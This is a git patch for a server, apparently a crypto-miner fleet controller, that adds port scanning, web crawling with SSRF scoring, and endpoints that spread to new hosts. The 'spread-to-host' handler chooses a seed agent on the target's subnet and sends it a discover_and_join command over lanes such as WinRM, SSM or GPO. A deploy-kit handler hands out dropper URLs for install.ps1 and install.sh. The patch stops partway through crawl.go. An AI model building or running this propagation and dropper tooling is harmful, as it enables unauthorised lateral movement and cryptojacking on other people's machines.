From f3e5a9a07dd49fcc74ff4766a5e34c3c6d535148 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 11:23:10 -0700 Subject: [PATCH] Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations. POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows. --- scripts/test-suite.ps1 | 13 +- server/internal/ai/oath_recorder.go | 1 + server/internal/api/fleet_spread_host.go | 215 +++++++++++ server/internal/api/fleet_spread_host_test.go | 62 ++++ server/internal/api/recon_deploy_kit.go | 235 ++++++++++++ server/internal/api/recon_deploy_kit_test.go | 110 ++++++ server/internal/api/recon_handler.go | 92 +++++ server/internal/api/recon_handler_test.go | 67 ++++ server/internal/api/router.go | 5 + server/internal/api/spread_handler.go | 1 + server/internal/db/oath_ledger.go | 1 + server/internal/recon/crawl.go | 235 ++++++++++++ server/internal/recon/hooks.go | 13 + server/internal/recon/html_tree.go | 40 ++ server/internal/recon/parse.go | 219 +++++++++++ server/internal/recon/portscan.go | 32 ++ server/internal/recon/recon_test.go | 186 ++++++++++ server/internal/recon/scan.go | 152 ++++++++ server/internal/recon/types.go | 80 ++++ server/main.go | 3 + server/web/e2e/deploy-recon.spec.ts | 51 +++ server/web/e2e/fixtures.ts | 13 +- server/web/e2e/pages.spec.ts | 39 ++ server/web/src/App.tsx | 3 + server/web/src/api/client.ts | 19 + .../components/Fleet/CrucibleExpandedOps.tsx | 7 + server/web/src/components/Layout/Layout.tsx | 10 + server/web/src/help/deployRecon.test.ts | 62 ++++ server/web/src/help/deployRecon.ts | 137 +++++++ server/web/src/help/docAnchors.ts | 3 + server/web/src/help/presencePages.ts | 2 + server/web/src/help/uiHelp.test.ts | 3 + server/web/src/help/uiHelp.ts | 7 + server/web/src/pages/CruciblePage.tsx | 178 +++++++++ server/web/src/pages/DeployReconPage.css | 192 ++++++++++ server/web/src/pages/DeployReconPage.test.tsx | 115 ++++++ server/web/src/pages/DeployReconPage.tsx | 345 ++++++++++++++++++ server/web/src/pages/EmberwakePage.test.tsx | 2 + server/web/src/pages/EmberwakePage.tsx | 14 + server/web/src/types/recon.ts | 131 +++++++ 40 files changed, 3091 insertions(+), 4 deletions(-) create mode 100644 server/internal/api/fleet_spread_host.go create mode 100644 server/internal/api/fleet_spread_host_test.go create mode 100644 server/internal/api/recon_deploy_kit.go create mode 100644 server/internal/api/recon_deploy_kit_test.go create mode 100644 server/internal/api/recon_handler.go create mode 100644 server/internal/api/recon_handler_test.go create mode 100644 server/internal/recon/crawl.go create mode 100644 server/internal/recon/hooks.go create mode 100644 server/internal/recon/html_tree.go create mode 100644 server/internal/recon/parse.go create mode 100644 server/internal/recon/portscan.go create mode 100644 server/internal/recon/recon_test.go create mode 100644 server/internal/recon/scan.go create mode 100644 server/internal/recon/types.go create mode 100644 server/web/e2e/deploy-recon.spec.ts create mode 100644 server/web/src/help/deployRecon.test.ts create mode 100644 server/web/src/help/deployRecon.ts create mode 100644 server/web/src/pages/DeployReconPage.css create mode 100644 server/web/src/pages/DeployReconPage.test.tsx create mode 100644 server/web/src/pages/DeployReconPage.tsx diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index afe8a82..0758043 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -1,4 +1,4 @@ -# AetherForge - full test suite runner +# AetherForge - full test suite runner param( [switch]$SkipE2E, [switch]$SkipBuild, @@ -370,6 +370,17 @@ if (-not $SkipE2E) { go build -o $ServerExe . Pop-Location } + + # Reclaim :18989 from a prior crashed E2E run so health checks hit this phase''s server. + $e2ePort = 18989 + Get-NetTCPConnection -LocalPort $e2ePort -ErrorAction SilentlyContinue | + Select-Object -ExpandProperty OwningProcess -Unique | + ForEach-Object { + if ($_ -and $_ -ne 0) { + Stop-Process -Id $_ -Force -ErrorAction SilentlyContinue + } + } + Start-Sleep -Milliseconds 500 $env:AETHERFORGE_E2E = "1" $proc = Start-Process -FilePath $ServerExe -ArgumentList "-port","18989","-data",$DataDir -WorkingDirectory $Root -PassThru -WindowStyle Hidden try { diff --git a/server/internal/ai/oath_recorder.go b/server/internal/ai/oath_recorder.go index f73a839..526a550 100644 --- a/server/internal/ai/oath_recorder.go +++ b/server/internal/ai/oath_recorder.go @@ -9,6 +9,7 @@ const ( OathCourtL4Decision = "court_l4_decision" OathSpreadAttempt = "spread_attempt" OathStrainHospice = "strain_hospice" + OathReconScan = "recon_scan" OathOutcomeSuccess = "success" OathOutcomeFail = "fail" diff --git a/server/internal/api/fleet_spread_host.go b/server/internal/api/fleet_spread_host.go new file mode 100644 index 0000000..2c6a043 --- /dev/null +++ b/server/internal/api/fleet_spread_host.go @@ -0,0 +1,215 @@ +package api + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" + + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/spreadrouter" +) + +type spreadToHostRequest struct { + Host string `json:"host"` + Finding string `json:"finding"` + BuildID string `json:"build_id"` + Campaign string `json:"campaign"` + JoinLane string `json:"join_lane"` +} + +// POST /api/v1/fleet/spread-to-host +// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop. +func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) { + var req spreadToHostRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Host = strings.TrimSpace(req.Host) + req.Finding = strings.TrimSpace(req.Finding) + req.BuildID = strings.TrimSpace(req.BuildID) + req.Campaign = strings.TrimSpace(req.Campaign) + req.JoinLane = strings.TrimSpace(req.JoinLane) + if req.Host == "" { + http.Error(w, "host required", http.StatusBadRequest) + return + } + + matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil)) + if !ok { + http.Error(w, "no deploy lane matched finding", http.StatusBadRequest) + return + } + if req.JoinLane != "" { + lane.Lane = normalizeJoinLane(req.JoinLane) + } + + agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host) + if found && reachable { + writeJSON(w, map[string]interface{}{ + "ok": true, + "host": req.Host, + "agent_id": agentID, + "agent_reachable": true, + "join_lane": lane.Lane, + "matched_service": matched, + "queued": false, + "recommended_command": "discover_and_join", + "operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.", + "crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread", + }) + return + } + + seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane) + commandArgs := map[string]interface{}{ + "target_host": req.Host, + "join_lane": lane.Lane, + "matched_service": matched, + } + if req.BuildID != "" { + commandArgs["build_id"] = req.BuildID + } + if req.Campaign != "" { + commandArgs["campaign"] = req.Campaign + } + + queued := false + var dispatchErr string + if seedOK && f.ws != nil { + if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil { + dispatchErr = err.Error() + } else { + queued = true + } + } + + recommended := fmt.Sprintf( + "Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane", + firstNonEmptySpread(seedName, seedID, "best online agent"), + req.Host, + lane.Lane, + ) + + writeJSON(w, map[string]interface{}{ + "ok": true, + "host": req.Host, + "finding": req.Finding, + "join_lane": lane.Lane, + "matched_service": matched, + "agent_reachable": false, + "agent_found": found, + "seed_agent_id": seedID, + "seed_agent_name": seedName, + "queued": queued, + "dispatch_error": dispatchErr, + "recommended_command": "discover_and_join", + "command_args": commandArgs, + "operator_note": recommended, + "crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread", + }) +} + +func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) { + if database == nil { + return "", false, false + } + agents, err := database.ListAgents() + if err != nil { + return "", false, false + } + host = strings.TrimSpace(strings.ToLower(host)) + var match *models.Agent + for _, ag := range agents { + if ag == nil { + continue + } + ip := strings.TrimSpace(strings.ToLower(ag.IP)) + if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) { + if match == nil || ag.Status == "online" { + match = ag + } + } + } + if match == nil { + return "", false, false + } + reachable = match.Status == "online" + if hub != nil { + reachable = hub.isAgentConnected(match.ID) + } + return match.ID, reachable, true +} + +func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) { + if hub == nil { + return "", "", false + } + subnet := spreadrouter.SubnetFromIP(targetHost) + if subnet != "" { + in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane) + rt := spreadrouter.Build(in) + if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) { + return rec.SeedAgentID, rec.SeedAgentName, true + } + } + + // Fallback: lowest-latency connected agent on same /24. + targetSubnet := spreadrouter.NormalizeSubnet(subnet) + var bestID, bestName string + bestLatency := int(^uint(0) >> 1) + hub.mu.RLock() + for id, conn := range hub.agents { + if conn == nil || hub.db == nil { + continue + } + ag, err := hub.db.GetAgent(id) + if err != nil || ag == nil { + continue + } + agSubnet := spreadrouter.SubnetFromIP(ag.IP) + if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet { + continue + } + lat := 9999 + if ag.LatencyMs != nil { + lat = *ag.LatencyMs + } + if lat < bestLatency { + bestLatency = lat + bestID = id + bestName = ag.Name + } + } + hub.mu.RUnlock() + if bestID != "" { + return bestID, bestName, true + } + + // Last resort: any connected agent. + hub.mu.RLock() + for id := range hub.agents { + if hub.agents[id] != nil { + bestID = id + if hub.db != nil { + if ag, err := hub.db.GetAgent(id); err == nil && ag != nil { + bestName = ag.Name + } + } + break + } + } + hub.mu.RUnlock() + return bestID, bestName, bestID != "" +} + +func firstNonEmptySpread(parts ...string) string { + for _, p := range parts { + if strings.TrimSpace(p) != "" { + return p + } + } + return "" +} diff --git a/server/internal/api/fleet_spread_host_test.go b/server/internal/api/fleet_spread_host_test.go new file mode 100644 index 0000000..eb6dbd0 --- /dev/null +++ b/server/internal/api/fleet_spread_host_test.go @@ -0,0 +1,62 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/pool" +) + +func TestPostSpreadToHostRecommendsCommand(t *testing.T) { + dir := t.TempDir() + database, err := db.New(dir) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + if err := database.UpsertAgent(&models.Agent{ + ID: "seed-1", Name: "seed-node", IP: "10.1.2.10", Status: "online", Hostname: "seed", + }); err != nil { + t.Fatal(err) + } + hub := NewWSHub(database) + fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, dir) + + body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body)) + rec := httptest.NewRecorder() + fh.PostSpreadToHost(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + var out map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil { + t.Fatal(err) + } + if out["recommended_command"] != "discover_and_join" { + t.Fatalf("recommended_command: %v", out["recommended_command"]) + } + if out["join_lane"] != "winrm" { + t.Fatalf("join_lane: %v", out["join_lane"]) + } + note, _ := out["operator_note"].(string) + if note == "" { + t.Fatal("expected operator_note") + } +} + +func TestPostSpreadToHostRequiresHost(t *testing.T) { + fh := NewFleetHandler(nil, nil, nil, nil, nil, pool.Config{}, t.TempDir()) + body, _ := json.Marshal(map[string]string{"finding": "WinRM"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body)) + rec := httptest.NewRecorder() + fh.PostSpreadToHost(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("want 400 got %d", rec.Code) + } +} diff --git a/server/internal/api/recon_deploy_kit.go b/server/internal/api/recon_deploy_kit.go new file mode 100644 index 0000000..3dbc136 --- /dev/null +++ b/server/internal/api/recon_deploy_kit.go @@ -0,0 +1,235 @@ +package api + +import ( + "net/http" + "strings" + + "crypto-miner-server/internal/models" +) + +// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses. +func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) { + if h == nil { + return + } + h.deployPlan = plan + h.publicURL = publicURL + h.allowlistFn = allowlist +} + +type deployKitDropperURLs struct { + GetWindows string `json:"get_windows,omitempty"` + GetLinux string `json:"get_linux,omitempty"` + GetDarwin string `json:"get_darwin,omitempty"` + Get string `json:"get,omitempty"` + InstallPS1 string `json:"install_ps1,omitempty"` + InstallSh string `json:"install_sh,omitempty"` + InstallCmd string `json:"install_command,omitempty"` +} + +type deployKitSpreadZIP struct { + Method string `json:"method"` + URL string `json:"url"` + Note string `json:"note,omitempty"` +} + +type deployKitSpreadTemplate struct { + Template string `json:"template,omitempty"` + Method string `json:"method"` + URL string `json:"url"` +} + +// GET /api/v1/recon/deploy-kit?host=&finding= +func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) { + host := strings.TrimSpace(r.URL.Query().Get("host")) + finding := strings.TrimSpace(r.URL.Query().Get("finding")) + if host == "" { + http.Error(w, "host query param required", http.StatusBadRequest) + return + } + + serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/") + if serverURL == "" { + serverURL = "http://127.0.0.1:8989" + } + + matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist()) + if !ok { + writeJSON(w, map[string]interface{}{ + "ok": false, + "host": host, + "finding": finding, + "error": "no deploy lane matched finding", + }) + return + } + + agentID, agentReachable, agentFound := h.matchAgentForHost(host) + buildID, campaign := "", "" + if h.db != nil { + if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil { + buildID = b.ID + } + } + + querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign) + dropper := deployKitDropperURLs{ + Get: serverURL + "/get" + querySuffix, + GetWindows: serverURL + "/get?os=windows" + getQuerySuffix, + GetLinux: serverURL + "/get?os=linux" + getQuerySuffix, + GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix, + InstallPS1: serverURL + "/install.ps1" + querySuffix, + InstallSh: serverURL + "/install.sh" + querySuffix, + InstallCmd: serverURL + "/install.command" + querySuffix, + } + + resp := map[string]interface{}{ + "ok": true, + "host": host, + "finding": finding, + "join_lane": lane.Lane, + "matched_service": matched, + "agent_reachable": agentReachable, + "agent_found": agentFound, + "dropper_urls": dropper, + "spread_kit_zip": deployKitSpreadZIP{ + Method: "POST", + URL: "/api/v1/builder/spread-kit-export", + Note: "Body: { server_url, build_id?, campaign? }", + }, + "crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread", + } + if agentID != "" { + resp["agent_id"] = agentID + } + if tpl := strings.TrimSpace(lane.Template); tpl != "" { + resp["spread_template"] = deployKitSpreadTemplate{ + Template: tpl, + Method: "POST", + URL: "/api/v1/builder/spread-template-export", + } + } + + if h.deployPlan != nil { + req := deployPlanRequest{ + BuildID: buildID, + Campaign: campaign, + Platform: platformForReconHost(host, lane.Lane), + Services: []DeployServiceFinding{{Name: matched, Status: "running"}}, + } + if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil { + resp["deploy_plan_template"] = plan + } + } + + if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") { + if h.deployPlan != nil { + if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{ + BuildID: buildID, Campaign: campaign, Platform: "linux", + }, serverURL); err == nil { + resp["ssm_bundle"] = bundle + } + } + } + + writeJSON(w, resp) +} + +func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane { + if h.allowlistFn != nil { + return NormalizeServiceDeployAllowlist(h.allowlistFn()) + } + return NormalizeServiceDeployAllowlist(nil) +} + +func resolveSpreadServerURL(h *SpreadHandler) string { + if h.publicURL != nil { + return h.publicURL() + } + return "" +} + +func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) { + finding = strings.TrimSpace(finding) + allowlist = NormalizeServiceDeployAllowlist(allowlist) + + if finding == "" { + return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true + } + + lower := strings.ToLower(finding) + if strings.Contains(lower, "ssm") { + return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true + } + + normalized := normalizeJoinLane(finding) + for _, entry := range allowlist { + if entry.Lane == normalized { + return finding, entry, true + } + } + if normalized != "" && normalized != finding { + return finding, ServiceDeployLane{Lane: normalized}, true + } + + matched, lane, ok = PickDeployLane([]DeployServiceFinding{ + {Name: finding, Status: "running"}, + }, allowlist) + if ok { + return matched, lane, true + } + + // Case-insensitive service alias (e.g. winrm → WinRM) + for name, entry := range allowlist { + if strings.EqualFold(name, finding) { + return name, entry, true + } + } + return "", ServiceDeployLane{}, false +} + +func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) { + host = strings.TrimSpace(strings.ToLower(host)) + if host == "" || h.db == nil { + return "", false, false + } + agents, err := h.db.ListAgents() + if err != nil { + return "", false, false + } + var match *models.Agent + for _, ag := range agents { + if ag == nil { + continue + } + ip := strings.TrimSpace(strings.ToLower(ag.IP)) + name := strings.TrimSpace(strings.ToLower(ag.Name)) + hostname := strings.TrimSpace(strings.ToLower(ag.Hostname)) + if ip == host || name == host || hostname == host { + if match == nil || ag.Status == "online" { + match = ag + } + } + } + if match == nil { + return "", false, false + } + reachable = match.Status == "online" + if h.wsHub != nil { + reachable = h.wsHub.isAgentConnected(match.ID) + } + return match.ID, reachable, true +} + +func platformForReconHost(host, lane string) string { + if strings.Contains(lane, "linux") { + return "linux" + } + // Heuristic: RFC1918 host with no agent — default windows for LAN spread. + _ = host + return "windows" +} + +func urlQueryEscape(s string) string { + return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23") +} diff --git a/server/internal/api/recon_deploy_kit_test.go b/server/internal/api/recon_deploy_kit_test.go new file mode 100644 index 0000000..ca1599a --- /dev/null +++ b/server/internal/api/recon_deploy_kit_test.go @@ -0,0 +1,110 @@ +package api + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) { + t.Helper() + dir := t.TempDir() + root := t.TempDir() + writeSpreadTemplates(t, root) + artifact := filepath.Join(dir, "worker.exe") + if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil { + t.Fatal(err) + } + database, err := db.New(dir) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + if err := database.InsertBuild(&models.BuildRecord{ + ID: "build-recon", WorkerName: "recon-worker", Platform: "windows", + FilePath: artifact, Pinned: true, + }); err != nil { + t.Fatal(err) + } + deployH := NewDeployPlanHandler(database, dir, root, + func() string { return "https://deck.example" }, + func() string { return "fleet-secret" }, + func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, + ) + spreadH := NewSpreadHandler(database, dir, root, nil) + spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane { + return NormalizeServiceDeployAllowlist(nil) + }) + return spreadH, deployH +} + +func TestGetDeployKitWinRM(t *testing.T) { + spreadH, _ := testReconSpreadHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil) + rec := httptest.NewRecorder() + spreadH.GetDeployKit(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + var out map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil { + t.Fatal(err) + } + if out["join_lane"] != "winrm" { + t.Fatalf("join_lane: %v", out["join_lane"]) + } + dropper, ok := out["dropper_urls"].(map[string]interface{}) + if !ok || dropper["install_ps1"] == "" { + t.Fatalf("dropper_urls: %v", out["dropper_urls"]) + } + if out["spread_kit_zip"] == nil { + t.Fatal("expected spread_kit_zip") + } + if out["deploy_plan_template"] == nil { + t.Fatal("expected deploy_plan_template") + } +} + +func TestGetDeployKitSSM(t *testing.T) { + spreadH, _ := testReconSpreadHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil) + rec := httptest.NewRecorder() + spreadH.GetDeployKit(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + var out map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil { + t.Fatal(err) + } + if out["join_lane"] != "ssm_document" { + t.Fatalf("join_lane: %v", out["join_lane"]) + } +} + +func TestGetDeployKitRequiresHost(t *testing.T) { + spreadH, _ := testReconSpreadHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil) + rec := httptest.NewRecorder() + spreadH.GetDeployKit(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("want 400 got %d", rec.Code) + } +} + +func TestResolveReconFinding(t *testing.T) { + matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil)) + if !ok || lane.Lane != "gpo" { + t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok) + } + _, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil)) + if !ok || lane.Lane != "bits_curl" { + t.Fatalf("empty finding default: %v", lane.Lane) + } +} diff --git a/server/internal/api/recon_handler.go b/server/internal/api/recon_handler.go new file mode 100644 index 0000000..327d964 --- /dev/null +++ b/server/internal/api/recon_handler.go @@ -0,0 +1,92 @@ +package api + +import ( + "encoding/json" + "net/http" + "strings" + + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/recon" +) + +// ReconHandler serves owned-target browser deploy recon. +type ReconHandler struct { + db *dbpkg.Database + wsHub *WSHub +} + +func NewReconHandler(database *dbpkg.Database, hub *WSHub) *ReconHandler { + return &ReconHandler{db: database, wsHub: hub} +} + +// POST /api/v1/recon/scan +func (h *ReconHandler) Scan(w http.ResponseWriter, r *http.Request) { + var req recon.ScanRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Host = strings.TrimSpace(req.Host) + if req.Host == "" { + http.Error(w, "host required", http.StatusBadRequest) + return + } + + report, err := recon.Scan(req) + if err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + return + } + + if h != nil && h.db != nil { + payload := map[string]interface{}{ + "host": report.Host, + "open_ports": openPortList(report.Ports), + "ssrf_score": crawlSSRFScore(report.Crawl), + "recommendations": len(report.Recommendations), + "cms_fingerprints": crawlCMS(report.Crawl), + } + _ = (&OathLedgerBridge{DB: h.db, Hub: oathHub(h)}).Record( + AuthUsername(r), + dbpkg.OathReconScan, + "", + "", + dbpkg.OathOutcomeSuccess, + map[string]string{"host": report.Host}, + payload, + ) + } + + writeJSON(w, report) +} + +func oathHub(h *ReconHandler) *WSHub { + if h == nil { + return nil + } + return h.wsHub +} + +func openPortList(ports []recon.PortResult) []int { + var out []int + for _, p := range ports { + if p.Open { + out = append(out, p.Port) + } + } + return out +} + +func crawlSSRFScore(c *recon.CrawlReport) int { + if c == nil { + return 0 + } + return c.SSRFScore +} + +func crawlCMS(c *recon.CrawlReport) []string { + if c == nil { + return nil + } + return c.CMSFingerprints +} diff --git a/server/internal/api/recon_handler_test.go b/server/internal/api/recon_handler_test.go new file mode 100644 index 0000000..dde4880 --- /dev/null +++ b/server/internal/api/recon_handler_test.go @@ -0,0 +1,67 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/recon" +) + +func TestReconScanEndpoint(t *testing.T) { + recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool { + return port == 80 + }) + t.Cleanup(func() { recon.SetPortDialHook(nil) }) + recon.SetFetchPageHook(func(rawURL string) (int, string, error) { + return 200, `
`, nil + }) + t.Cleanup(func() { recon.SetFetchPageHook(nil) }) + + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + h := NewReconHandler(database, nil) + body, _ := json.Marshal(map[string]interface{}{ + "host": "recon.lab", + "port": 80, + "scheme": "http", + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.Scan(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", w.Code, w.Body.String()) + } + var report recon.ScanReport + if err := json.Unmarshal(w.Body.Bytes(), &report); err != nil { + t.Fatal(err) + } + if report.Host != "recon.lab" || report.Crawl == nil || len(report.Recommendations) == 0 { + t.Fatalf("report=%+v", report) + } + rows, err := database.ListOathLedger(5) + if err != nil { + t.Fatal(err) + } + if len(rows) == 0 || rows[0].ActionType != db.OathReconScan { + t.Fatalf("oath rows=%+v", rows) + } +} + +func TestReconScanRequiresHost(t *testing.T) { + h := NewReconHandler(nil, nil) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader([]byte(`{}`))) + w := httptest.NewRecorder() + h.Scan(w, req) + if w.Code != http.StatusBadRequest { + t.Fatalf("status=%d", w.Code) + } +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index d1de636..337fb01 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -552,6 +552,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler vulnHandler := NewVulnHandler() r.Get("/vuln/catalog", vulnHandler.Catalog) + reconHandler := NewReconHandler(database, wsHub) + r.Post("/recon/scan", reconHandler.Scan) + // Agents r.Get("/agents", h.ListAgents) r.Get("/agents/{id}", h.GetAgent) @@ -595,6 +598,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice) r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice) r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger) + r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost) } if fleetAIHandler != nil { r.Get("/ai/models", fleetAIHandler.GetModels) @@ -665,6 +669,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Put("/emberwake/notes", spreadHandler.PutNotes) r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) + r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout) diff --git a/server/internal/api/spread_handler.go b/server/internal/api/spread_handler.go index 9d933d9..2b80552 100644 --- a/server/internal/api/spread_handler.go +++ b/server/internal/api/spread_handler.go @@ -26,6 +26,7 @@ type SpreadHandler struct { publicURL func() string erasureShards *erasure.ShardStore deployPlan *DeployPlanHandler + allowlistFn func() map[string]ServiceDeployLane policyPathTracer *PathTracerHandler policyFanoutCfgFn func() PolicyFanoutConfig notesMu sync.RWMutex diff --git a/server/internal/db/oath_ledger.go b/server/internal/db/oath_ledger.go index a0360a8..5d8c98e 100644 --- a/server/internal/db/oath_ledger.go +++ b/server/internal/db/oath_ledger.go @@ -16,6 +16,7 @@ const ( OathCourtL4Decision = "court_l4_decision" OathSpreadAttempt = "spread_attempt" OathStrainHospice = "strain_hospice" + OathReconScan = "recon_scan" ) // Oath outcomes. diff --git a/server/internal/recon/crawl.go b/server/internal/recon/crawl.go new file mode 100644 index 0000000..a09740f --- /dev/null +++ b/server/internal/recon/crawl.go @@ -0,0 +1,235 @@ +package recon + +import ( + "fmt" + "net/http" + "net/url" + "strings" +) + +const maxHTMLBytes = 512 * 1024 + +// fetchPageFn overrides HTTP fetches in tests (nil = live GET from server host). +var fetchPageFn func(rawURL string) (status int, body string, err error) + +// Crawl fetches seed URL and same-origin linked paths up to depth and maxPages. +func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlReport, error) { + scheme = normalizeScheme(scheme, port) + if port <= 0 { + port = defaultPortForScheme(scheme) + } + base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port)) + seeds := seedPaths + if len(seeds) == 0 { + seeds = []string{"/"} + } + + report := &CrawlReport{} + visited := map[string]bool{} + queue := []queuedURL{} + for _, p := range seeds { + abs, err := resolveSameOrigin(base, p) + if err != nil { + continue + } + queue = append(queue, queuedURL{url: abs, depth: 0}) + } + + for len(queue) > 0 && report.PagesFetched < DefaultCrawlMaxPages { + item := queue[0] + queue = queue[1:] + key := normalizeURLKey(item.url) + if visited[key] { + continue + } + visited[key] = true + + status, body, err := fetchPage(item.url) + if err != nil { + continue + } + report.PagesFetched++ + title := "" + if root, err := htmlParseTitle(body); err == nil { + title = root + } + report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title}) + + files, multi, fields, pageScore, cms := ParseHTML(item.url, body) + report.FileInputs = append(report.FileInputs, files...) + report.MultipartForms = append(report.MultipartForms, multi...) + report.URLFields = append(report.URLFields, fields...) + report.SSRFScore += 